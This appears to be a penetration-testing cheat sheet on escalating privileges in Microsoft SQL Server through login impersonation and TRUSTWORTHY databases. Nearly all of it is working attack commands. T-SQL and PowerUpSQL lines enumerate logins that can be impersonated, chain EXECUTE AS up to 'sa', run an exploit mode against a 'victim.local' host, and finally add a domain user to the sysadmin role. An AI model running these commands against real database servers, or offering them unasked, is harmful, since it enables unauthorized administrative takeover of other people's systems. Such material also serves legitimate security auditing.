abusing_sql_server_trusts--privilege_escalation
PRIVILEGE ESCALATION User Impersonation (EXECUTE AS)
Find SQL Server logins which can be impersonated in the current database:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
User Impersonation (EXECUTE AS) (PowerUpSQL)
Find logins which can be impersonated Invoke-SQLAuditPrivImpersonateLogin -Username sqladmin Password PASSw0rd123 -Instance ops-mssql -Verbose
User Impersonation (EXECUTE AS)
Exploiting impersonation
SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'dbadmin' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL_LOGIN()
User Impersonation (EXECUTE AS) (PowerUpSQL)
Exploiting impersonation (note the difficulty in automating the abuse of chained/nested impersonation)
Invoke-SQLAuditPrivImpersonateLogin -Instance sqlserver01.victim.local –Exploit -Verbose
User Impersonation (EXECUTE AS)
Exploiting chained/nested impersonation
SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'dbadmin' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL_LOGIN() EXECUTE AS LOGIN = 'sa' SELECT IS_SRVROLEMEMBER('sysadmin')
TRUSTWORTHY Database
Look for TRUSTWORTHY database (can be done with public role)
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases
TRUSTWORTHY Database
Look for db_owner role (can be done with public role)
use SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
TRUSTWORTHY Database
Look for TRUSTWORTHY database using PowerUpSQL
Invoke-SQLAudit -Instance sqlserver01.victim.local -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance sqlserver01 -Verbose
TRUSTWORTHY Database
EXECUTE AS to elevate privileges
EXECUTE AS USER = 'dbo' SELECT system_user EXEC sp_addsrvrolemember 'domain\user123','sysadmin'
Last updated
Was this helpful?